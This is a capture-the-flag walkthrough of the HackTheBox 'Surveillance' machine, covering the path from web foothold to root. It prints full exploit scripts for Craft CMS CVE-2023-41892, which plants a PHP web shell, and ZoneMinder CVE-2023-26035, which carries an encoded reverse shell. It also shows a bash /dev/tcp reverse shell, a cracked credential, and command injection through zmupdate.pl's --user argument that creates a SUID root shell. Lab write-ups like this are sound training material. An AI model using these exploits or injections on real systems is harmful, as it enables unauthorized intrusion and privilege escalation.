Surveillance – HackTheBox Link to heading
- OS: Linux
- Difficulty: Medium
- Platform: HackTheBox
User Link to heading
Nmap
scan shows only 2 ports open: 22
SSH
and 80
HTTP
❯ sudo nmap -sVC -p22,80 10.10.11.245 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-18 17:52 -04
Nmap scan report for 10.10.11.245
Host is up (0.31s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.95 seconds
If we try to visit HTTP
server running on port 80
at http://10.10.11.245
I got redirected to http://surveillance.htb
. For this reason we simply add surveillance.htb
to our /etc/hosts
file running:
❯ sudo echo '10.10.11.245 surveillance.htb' >> /etc/hosts
Once added that domain to our /etc/hosts
file, if we revisit http://surveillance.htb
we can see the page:
Many of the buttons in this page does not simply work, so I suspect that there is nothing to find here.
I note that if I visit /index.php
it shows the default site, so I assume it is running using PHP
. If I attempt a Brute Force Directory Listing
using Gobuster
, searching also for .php
files, I find some directories:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://surveillance.htb -t 55 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://surveillance.htb
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img (Status: 301) [Size: 178] [--> http://surveillance.htb/img/]
/images (Status: 301) [Size: 178] [--> http://surveillance.htb/images/]
/index (Status: 200) [Size: 1]
/index.php (Status: 200) [Size: 16230]
/admin (Status: 302) [Size: 0] [--> http://surveillance.htb/admin/login]
/css (Status: 301) [Size: 178] [--> http://surveillance.htb/css/]
/js (Status: 301) [Size: 178] [--> http://surveillance.htb/js/]
/logout (Status: 302) [Size: 0] [--> http://surveillance.htb/]
/p1 (Status: 200) [Size: 16230]
/fonts (Status: 301) [Size: 178] [--> http://surveillance.htb/fonts/]
/p3 (Status: 200) [Size: 16230]
/p2 (Status: 200) [Size: 16230]
and I find an interesting directory: /admin
redirects to /admin/login
directory. There is a bunch of directories called p<number>
like p1
, p20
and so on… but they all redirect to index.php
, so I discard them.
I visit http://surveillance.htb/admin/login
and it shows a login panel:
So it says it is running Craft CMS
, a Content Management System
–or CMS
– (like it would be, for example, WordPress
).
If I search for exploits for this CMS
using SearchSploit
I can find some:
❯ searchsploit craft cms
--------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------- ---------------------------------
Craft CMS 2.6 - Cross-Site Scripting | php/webapps/42143.txt
Craft CMS 2.7.9/3.2.5 - Information Disclosure | php/webapps/47343.txt
Craft CMS 3.0.25 - Cross-Site Scripting | php/webapps/46054.txt
Craft CMS 3.1.12 Pro - Cross-Site Scripting | php/webapps/46496.txt
Craft CMS SEOmatic plugin 3.1.4 - Server-Side Temp | linux/webapps/45108.txt
CraftCMS 3 vCard Plugin 1.0.0 - Remote Code Execut | php/webapps/48492.py
craftercms 4.x.x - CORS | multiple/webapps/51313.txt
--------------------------------------------------- ---------------------------------
Shellcodes: No Results
However, I still do not have the version
If I look the source code of http://surveillance.htb
I can see something:
so I assume the version of Craft CMS
running is 4.4.14
, which sadly do not match with any version shown by SearchSploit
exploits.
But if I just Google Craft CMS 4.4 exploit
I find that there is a vulnerability labeled as CVE-2023-41892
. I also find two interesting sites. One is an exploit from exploit-db
(https://www.exploit-db.com/exploits/51918) and the other is from this Github post. I will use the last one, which is:
import requests
import re
import sys
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"
}
def writePayloadToTempFile(documentRoot):
data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
}
files = {
"image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php @system(@$_REQUEST['cmd']); ?>"/>
<write filename="info:DOCUMENTROOT/shell.php">
</image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
}
response = requests.post(url, headers=headers, data=data, files=files, proxies={"http": "http://localhost:8080"})
def getTmpUploadDirAndDocumentRoot():
data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
}
response = requests.post(url, headers=headers, data=data)
pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
match1 = re.search(pattern1, response.text, re.DOTALL)
match2 = re.search(pattern2, response.text, re.DOTALL)
return match1.group(1), match2.group(1)
def trigerImagick(tmpDir):
data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
}
response = requests.post(url, headers=headers, data=data, proxies={"http": "http://127.0.0.1:8080"})
def shell(cmd):
response = requests.get(url + "/shell.php", params={"cmd": cmd})
match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)
if match:
extracted_text = match.group(1).strip()
print(extracted_text)
else:
return None
return extracted_text
if __name__ == "__main__":
if(len(sys.argv) != 2):
print("Usage: python CVE-2023-41892.py <url>")
exit()
else:
url = sys.argv[1]
print("[-] Get temporary folder and document root ...")
upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
tmpDir = "/tmp" if upload_tmp_dir == "no value" else upload_tmp_dir
print("[-] Write payload to temporary file ...")
try:
writePayloadToTempFile(documentRoot)
except requests.exceptions.ConnectionError as e:
print("[-] Crash the php process and write temp file successfully")
print("[-] Trigger imagick to write shell ...")
try:
trigerImagick(tmpDir)
except:
pass
print("[-] Done, enjoy the shell")
while True:
cmd = input("$ ")
shell(cmd)
If I run the script nothing happens:
❯ python3 CVE_2023_41892.py http://surveillance.htb/
[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Crash the php process and write temp file successfully
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
$ whoami
Then in this Github post, and also in this post, they show another PoC, but in one of the figures they also use a proxy
with Burpsuite
to make it work:
To fix this, in every line in the script where the variable response
is set, we have to add a proxy to htttp://127.0.0.1:8080
. Burpsuite
, by default, intercepts requests on port 8080
in our machine. So adding this we will be sending the requests made by the Python
script through Burpsuite
. For this I change the lines that says, for example:
response = requests.get(url + "/shell.php", params={"cmd": cmd})
to
response = requests.get(url + "/shell.php", params={"cmd": cmd}, proxies={"http", "http://127.0.0.1:8080"})
We repeat this for every response.get
and response.post
variables.
The final modified code to work along with Burpsuite
looks then like:
import requests
import re
import sys
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"
}
def writePayloadToTempFile(documentRoot):
data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
}
files = {
"image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php @system(@$_REQUEST['cmd']); ?>"/>
<write filename="info:DOCUMENTROOT/cpresources/shell.php">
</image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
}
response = requests.post(url, headers=headers, data=data, files=files, proxies={"http": "http://127.0.0.1:8080"})
def getTmpUploadDirAndDocumentRoot():
data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
}
response = requests.post(url, headers=headers, data=data, proxies={"http": "http://127.0.0.1:8080"})
pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
match1 = re.search(pattern1, response.text, re.DOTALL)
match2 = re.search(pattern2, response.text, re.DOTALL)
return match1.group(1), match2.group(1)
def trigerImagick(tmpDir):
data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
}
response = requests.post(url, headers=headers, data=data, proxies={"http": "http://127.0.0.1:8080"})
def shell(cmd):
response = requests.get(base_url + "/cpresources/shell.php", params={"cmd": cmd}, proxies={"http": "http://127.0.0.1:8080"})
match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)
if match:
extracted_text = match.group(1).strip()
print(extracted_text)
else:
return None
return extracted_text
if __name__ == "__main__":
if(len(sys.argv) != 2):
print("Usage: python CVE-2023-41892.py <url>")
exit()
else:
url = sys.argv[1]
base_url = 'http://surveillance.htb'
print("[-] Get temporary folder and document root ...")
upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
tmpDir = "/tmp" if "no value" in upload_tmp_dir else upload_tmp_dir
print("[-] Write payload to temporary file ...")
try:
writePayloadToTempFile(documentRoot)
except requests.exceptions.ConnectionError as e:
print("[-] Crash the php process and write temp file successfully")
print("[-] Trigger imagick to write shell ...")
try:
trigerImagick(tmpDir)
except:
pass
print("[-] Done, enjoy the shell")
while True:
cmd = input("$ ")
shell(cmd)
Before re-running the modified script, start a Burpsuite
and go to Proxy -> Intercept -> Intercept On
. First, I tried this against http://surveillance.htb/admin/login
page, since Craft CMS
was exposed on that page. If I run the script:
❯ python3 CVE_2023_41892_modified.py http://surveillance.htb/admin/login
I can see that Burpsuite
successfully intercepts the request through the modified python3
script:
and, after this, is just click on Forward
as the script makes the requests.
However, when I run this I notice that my script did not work:
❯ python3 CVE_2023_41892_modified.py http://surveillance.htb/admin/login
[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
$
If I check Burpsuite
history (Proxy -> Intercept -> HTTP History
) I notice that we have a code 502 Bad Gateway
, i.e., we are trying a POST
request against an endpoint that does not exist.
So, instead of http://surveillance.htb/admin/login
I just try against the url http://surveillance.htb
and now it works:
❯ python3 CVE_2023_41892_modified.py http://surveillance.htb/
[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
I start a nc
listener on port 443
and, then, in the obtained shell I run the command bash -c 'bash -i &> /dev/tcp/10.10.16.6/443 0>&1'
, so it looks like:
❯ python3 CVE_2023_41892_modified.py http://surveillance.htb/
[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ bash -c 'bash -i &> /dev/tcp/10.10.16.6/443 0>&1'
and in my nc
listener I get a reverse shell:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.245] 44376
bash: cannot set terminal process group (1086): Inappropriate ioctl for device
bash: no job control in this shell
www-data@surveillance:~/html/craft/web/cpresources$ whoami
whoami
www-data
Once inside the machine as www-data
I can see two users, matthew
and zoneminder
:
www-data@surveillance:~/html/craft/web/cpresources$ ls /home
matthew zoneminder
If I search for files that have the word back
(for backup
) at /var/www/html/craft
I can see some:
www-data@surveillance:~/html/craft$ find . -name "*back*" 2>/dev/null
./storage/backups
./vendor/cebe/markdown/tests/markdown-data/md1_backslash_escapes.md
./vendor/cebe/markdown/tests/markdown-data/md1_backslash_escapes.html
./vendor/voku/arrayy/src/TypeCheck/TypeCheckCallback.php
./vendor/voku/anti-xss/src/voku/helper/data/entities_fallback.php
./vendor/nette/utils/src/Utils/Callback.php
./vendor/craftcms/cms/src/templates/plugin-store/_special/oauth/callback.twig
./vendor/craftcms/cms/src/templates/plugin-store/_special/oauth/modal-callback.twig
./vendor/craftcms/cms/src/web/assets/dbbackup
./vendor/craftcms/cms/src/web/twig/nodes/FallbackNameExpression.php
./vendor/craftcms/cms/src/imagetransforms/FallbackTransformer.php
./vendor/yiisoft/yii2-debug/src/assets/scss/bs-4.3.1/utilities/_background.scss
./vendor/yiisoft/yii2-debug/src/assets/scss/bs-4.3.1/mixins/_background-variant.scss
./vendor/monolog/monolog/src/Monolog/Handler/FallbackGroupHandler.php
So there is a directory /var/www/html/craft/storage/backups
that looks interesting. Inside this directory I check what is its content:
www-data@surveillance:~/html/craft/storage/backups$ ls -la
total 28
drwxrwxr-x 2 www-data www-data 4096 Oct 17 2023 .
drwxr-xr-x 6 www-data www-data 4096 Oct 11 2023 ..
-rw-r--r-- 1 root root 19918 Oct 17 2023 surveillance--2023-10-17-202801--v4.4.14.sql.zip
Since the victim server has python3
installed I will start a temporal Python
HTTP
server on port 8000
of the victim machine, expose the backup and then download it. So in the target machine I run:
www-data@surveillance:~/html/craft/storage/backups$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
and pass it to my machine running:
❯ wget http://surveillance.htb:8000/surveillance--2023-10-17-202801--v4.4.14.sql.zip
--2024-04-18 20:12:54-- http://surveillance.htb:8000/surveillance--2023-10-17-202801--v4.4.14.sql.zip
Resolving surveillance.htb (surveillance.htb)... 10.10.11.245
Connecting to surveillance.htb (surveillance.htb)|10.10.11.245|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19918 (19K) [application/zip]
Saving to: ‘surveillance--2023-10-17-202801--v4.4.14.sql.zip’
surveillance--2023-10-17-202801--v4.4.14.s 100%[=======================================================================================>] 19.45K 75.1KB/s in 0.3s
2024-04-18 20:12:54 (75.1 KB/s) - ‘surveillance--2023-10-17-202801--v4.4.14.sql.zip’ saved [19918/19918]
Then, on my machine, I just read this file with cat
and there is a lot of output. But there is one line that calls my attention:
❯ cat surveillance--2023-10-17-202801--v4.4.14.sql | grep -i "matthew"
INSERT INTO `searchindex` VALUES (1,'email',0,1,' admin surveillance htb '),(1,'firstname',0,1,' matthew '),(1,'fullname',0,1,' matthew b '),(1,'lastname',0,1,' b '),(1,'slug',0,1,''),(1,'username',0,1,' admin '),(2,'slug',0,1,' home '),(2,'title',0,1,' home '),(7,'slug',0,1,' coming soon '),(7,'title',0,1,' coming soon ');
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');
39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec
looks like a hash.
I save this hash and pass it to Crackstation
(https://crackstation.net/) to attempt a Brute Force Password Cracking
:
and we find a password: starcraft122490
I check with NetExec
if I have access to matthew
user via SSH
and we do:
❯ netexec ssh 10.10.11.245 -u 'matthew' -p 'starcraft122490'
SSH 10.10.11.245 22 10.10.11.245 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.4
SSH 10.10.11.245 22 10.10.11.245 [+] matthew:starcraft122490 (non root) Linux - Shell access!
So we can access via SSH
with credentials matthew:starcraft122490
, where we can get the flag at matthew
home.
Root Link to heading
Once inside, if I search for local ports open I can see a couple that were not previously registered:
matthew@surveillance:~$ ss -ntlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 511 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
So we have a MySQL
running on port 3306
(as usual), and something running on port 8080
To check if it is a service that can be displayed through an internet browser such as Firefox
, I like to first use cURL
and check the output:
matthew@surveillance:~$ curl -s http://127.0.0.1:8080
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>ZM - Login</title>
<SNIP>
var failed = false;
</script>
<script src="skins/classic/views/js/login.js"></script>
<script src="skins/classic/js/skin.js"></script>
<script src="js/logger.js"></script>
<script nonce="f3e94bd4e8a1388222a111d79663f97d">$j('.chosen').chosen();</script>
<script nonce="f3e94bd4e8a1388222a111d79663f97d">CsrfMagic.end();</script></body>
</html>
Since we have some output, I suspect it is a site.
To be able to visit this site, and since we have SSH
credentials, I will try a Local Port Forwarding
. I log out from my current SSH
session, and re-connect to the target machine via SSH
, but this time I will also add -L 1234:127.0.0.1:8080
:
❯ sshpass -p 'starcraft122490' ssh -o stricthostkeychecking=no -L 1234:127.0.0.1:8080 matthew@10.10.11.245
With this I convert my localhost port 1234
into the target port 8080
.
So now I open an internet browser (in my case I use Firefox
) and visit http://127.0.0.1:1234
. And I can see a webpage:
Apparently, this site is running ZoneMinder
ZoneMinder
is a free, open-source software application for monitoring.To check the version, we can run:
matthew@surveillance:~$ dpkg -l | grep zoneminder
hi zoneminder 1.36.32+dfsg1-1 amd64 video camera security and surveillance solution
so the version is 1.36.32
Using SearchSploit
I look for ZoneMinder
exploits:
❯ searchsploit zoneminder
-------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------- ---------------------------------
ZoneMinder 1.24.3 - Remote File Inclusion | php/webapps/17593.txt
Zoneminder 1.29/1.30 - Cross-Site Scripting / SQL Injec | php/webapps/41239.txt
ZoneMinder 1.32.3 - Cross-Site Scripting | php/webapps/47060.txt
Zoneminder < v1.37.24 - Log Injection & Stored XSS & CS | php/webapps/51071.py
ZoneMinder Snapshots < 1.37.33 - Unauthenticated RCE | php/webapps/51902.py
ZoneMinder Video Server - packageControl Command Execut | unix/remote/24310.rb
-------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Exploit 51902
looks promising, since it fits with our version.
Looking at the exploit we have to run it in our machine, since it requires a not built-in python3
library (BeautifulSoap
). But this is no problem since we have the Local Port Forwarding
established. The exploit is:
import re
import requests
from bs4 import BeautifulSoup
import argparse
import base64
# Exploit Title: Unauthenticated RCE in ZoneMinder Snapshots
# Date: 12 December 2023
# Discovered by : @Unblvr1
# Exploit Author: Ravindu Wickramasinghe (@rvizx9)
# Vendor Homepage: https://zoneminder.com/
# Software Link: https://github.com/ZoneMinder/zoneminder
# Version: prior to 1.36.33 and 1.37.33
# Tested on: Arch Linux, Kali Linux
# CVE : CVE-2023-26035
# Github Link : https://github.com/rvizx/CVE-2023-26035
class ZoneMinderExploit:
def __init__(self, target_uri):
self.target_uri = target_uri
self.csrf_magic = None
def fetch_csrf_token(self):
print("[>] fetching csrt token")
response = requests.get(self.target_uri)
self.csrf_magic = self.get_csrf_magic(response)
if response.status_code == 200 and re.match(r'^key:[a-f0-9]{40},\d+', self.csrf_magic):
print(f"[>] recieved the token: {self.csrf_magic}")
return True
print("[!] unable to fetch or parse token.")
return False
def get_csrf_magic(self, response):
return BeautifulSoup(response.text, 'html.parser').find('input', {'name': '__csrf_magic'}).get('value', None)
def execute_command(self, cmd):
print("[>] sending payload..")
data = {'view': 'snapshot', 'action': 'create', 'monitor_ids[0][Id]': f';{cmd}', '__csrf_magic': self.csrf_magic}
response = requests.post(f"{self.target_uri}/index.php", data=data)
print("[>] payload sent" if response.status_code == 200 else "[!] failed to send payload")
def exploit(self, payload):
if self.fetch_csrf_token():
print(f"[>] executing...")
self.execute_command(payload)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target-url', required=True, help='target url endpoint')
parser.add_argument('-ip', '--local-ip', required=True, help='local ip')
parser.add_argument('-p', '--port', required=True, help='port')
args = parser.parse_args()
# generating the payload
ps1 = f"bash -i >& /dev/tcp/{args.local_ip}/{args.port} 0>&1"
ps2 = base64.b64encode(ps1.encode()).decode()
payload = f"echo {ps2} | base64 -d | /bin/bash"
ZoneMinderExploit(args.target_url).exploit(payload)
and it sends directly a reverse shell to an IP and listening port.
So I start, in another shell, a listener with nc
on port 443
and run:
❯ python3 zoneminder_snapshot_unauth_rce.py -t http://127.0.0.1:1234 -ip 10.10.16.6 -p 443
[>] fetching csrt token
[>] recieved the token: key:0bfb5b839801ff10b9a9a6d91775fcd0e69aeecc,1713488472
[>] executing...
[>] sending payload..
and in my nc
listener I get:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.245] 43902
bash: cannot set terminal process group (1086): Inappropriate ioctl for device
bash: no job control in this shell
zoneminder@surveillance:/usr/share/zoneminder/www$ whoami
whoami
zoneminder
Once in as zoneminder
user, I can see it can run a command without password as sudo
:
zoneminder@surveillance:/usr/share/zoneminder/www$ sudo -l
Matching Defaults entries for zoneminder on surveillance:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User zoneminder may run the following commands on surveillance:
(ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *
So we can run any file that starts with zm
, then have letters (so we cannot use ../
) and ends with .pl
(i.e., it is a Perl
script) inside /usr/bin
folder. Basically the script says that the file must start with /usr/bin/zm
, then only letters, and end with .pl
. If I check the files I can see:
zoneminder@surveillance:/usr/share/zoneminder/www$ find /usr/bin -name "zm*.pl" -exec ls -la {} \; 2>/dev/null
-rwxr-xr-x 1 root root 5340 Nov 23 2022 /usr/bin/zmtrack.pl
-rwxr-xr-x 1 root root 13994 Nov 23 2022 /usr/bin/zmpkg.pl
-rwxr-xr-x 1 root root 6043 Nov 23 2022 /usr/bin/zmcontrol.pl
-rwxr-xr-x 1 root root 5640 Nov 23 2022 /usr/bin/zmonvif-probe.pl
-rwxr-xr-x 1 root root 8205 Nov 23 2022 /usr/bin/zmvideo.pl
-rwxr-xr-x 1 root root 13111 Nov 23 2022 /usr/bin/zmtelemetry.pl
-rwxr-xr-x 1 root root 2133 Nov 23 2022 /usr/bin/zmsystemctl.pl
-rwxr-xr-x 1 root root 19386 Nov 23 2022 /usr/bin/zmonvif-trigger.pl
-rwxr-xr-x 1 root root 7022 Nov 23 2022 /usr/bin/zmwatch.pl
-rwxr-xr-x 1 root root 26232 Nov 23 2022 /usr/bin/zmdc.pl
-rwxr-xr-x 1 root root 4815 Nov 23 2022 /usr/bin/zmstats.pl
-rwxr-xr-x 1 root root 18482 Nov 23 2022 /usr/bin/zmtrigger.pl
-rwxr-xr-x 1 root root 19655 Nov 23 2022 /usr/bin/zmx10.pl
-rwxr-xr-x 1 root root 35206 Nov 23 2022 /usr/bin/zmfilter.pl
-rwxr-xr-x 1 root root 12939 Nov 23 2022 /usr/bin/zmcamtool.pl
-rwxr-xr-x 1 root root 43027 Nov 23 2022 /usr/bin/zmaudit.pl
-rwxr-xr-x 1 root root 45421 Nov 23 2022 /usr/bin/zmupdate.pl
-rwxr-xr-x 1 root root 17492 Nov 23 2022 /usr/bin/zmrecover.pl
so we can run any of these files as root
.
After checking some files I find /usr/bin/zmupdate.pl
. If we just run it we get:
zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl
Database already at version 1.36.32, update skipped.
but checking its options I can see:
zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl --help
Unknown option: help
Usage:
zmupdate.pl -c,--check | -f,--freshen | -v<version>,--version=<version>
[-u <dbuser> -p <dbpass>]
Options:
-c, --check - Check for updated versions of ZoneMinder -f, --freshen -
Freshen the configuration in the database. Equivalent of old zmconfig.pl
-noi --migrate-events - Update database structures as per
USE_DEEP_STORAGE setting. -v <version>, --version=<version> - Force
upgrade to the current version from <version> -u <dbuser>,
--user=<dbuser> - Alternate DB user with privileges to alter DB -p
<dbpass>, --pass=<dbpass> - Password of alternate DB user with
privileges to alter DB -s, --super - Use system maintenance account on
debian based systems instead of unprivileged account -d <dir>,
--dir=<dir> - Directory containing update files if not in default build
location -interactive - interact with the user -nointeractive - do not
interact with the user
so, even if --help
option does not exists, it helped me. There is a -v
or --version
that asks for a version.
zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl --version 1
Initiating database upgrade to version 1.36.32 from version 1
WARNING - You have specified an upgrade from version 1 but the database version found is 1.36.32. Is this correct?
Press enter to continue or ctrl-C to abort :
<SNIP>
Upgrading DB to 1.30.1 from 1.26.0
ERROR 1136 (21S01) at line 8: Column count doesn't match value count at row 1
Output:
Command 'mysql -uzmuser -p'ZoneMinderPassword2023' -hlocalhost zm < /usr/share/zoneminder/db/zm_update-1.30.1.sql' exited with status: 1
so it worked, but throw an error at the end.
I also note that this script asks for a user and a password (possibly for the database). If I pass a user and a password that are commands, there is an output that is interpreting it:
zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl --version 1 --user='$(id)' -p='$(whoami)'
Initiating database upgrade to version 1.36.32 from version 1
WARNING - You have specified an upgrade from version 1 but the database version found is 1.36.32. Is this correct?
Press enter to continue or ctrl-C to abort :
Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
Press 'y' for a backup or 'n' to continue : y
Creating backup to /tmp/zm/zm-1.dump. This may take several minutes.
mysqldump: Got error: 1698: "Access denied for user 'uid=0(root)'@'localhost'" when trying to connect
Output:
<SNIP>
so it is interpreting my code as --user
parameter.
Therefore, I decide to inject:
zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl --version 1 --user='$(cp /usr/bin/bash /tmp/gunzf0x ; chmod 4755 /tmp/gunzf0x)' -p='$(whoami)'
Initiating database upgrade to version 1.36.32 from version 1
WARNING - You have specified an upgrade from version 1 but the database version found is 1.36.32. Is this correct?
Press enter to continue or ctrl-C to abort :
Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
Press 'y' for a backup or 'n' to continue : y
Creating backup to /tmp/zm/zm-1.dump. This may take several minutes.
mysqldump: Got error: 1698: "Access denied for user '-p$(whoami)'@'localhost'" when trying to connect
Output:
Command 'mysqldump -u$(cp /usr/bin/bash /tmp/gunzf0x ; chmod 4755 /tmp/gunzf0x) -p'$(whoami)' -hlocalhost --add-drop-table --databases zm > /tmp/zm/zm-1.dump' exited with status: 2
so, basically, I create a copy of /usr/bin/bash
called /tmp/gunzf0x
and, to the copied file, assign to it 4755
permissions.
I decide to check /tmp
directory and this worked:
zoneminder@surveillance:/tmp$ ls -la /tmp
total 1468
drwxrwxrwt 14 root root 4096 Apr 19 01:48 .
drwxr-xr-x 18 root root 4096 Nov 9 13:19 ..
drwxrwxrwt 2 root root 4096 Apr 18 21:49 .ICE-unix
drwxrwxrwt 2 root root 4096 Apr 18 21:49 .Test-unix
drwxrwxrwt 2 root root 4096 Apr 18 21:49 .X11-unix
drwxrwxrwt 2 root root 4096 Apr 18 21:49 .XIM-unix
drwxrwxrwt 2 root root 4096 Apr 18 21:49 .font-unix
-rwsr-xr-x 1 root root 1396520 Apr 19 01:46 gunzf0x
<SNIP>
So I finally just execute /tmp/gunzf0x -p
and become root:
zoneminder@surveillance:/tmp$ /tmp/gunzf0x -p
gunzf0x-5.1# whoami
root
and we can read the root
flag at /root
directory.
~Happy Hacking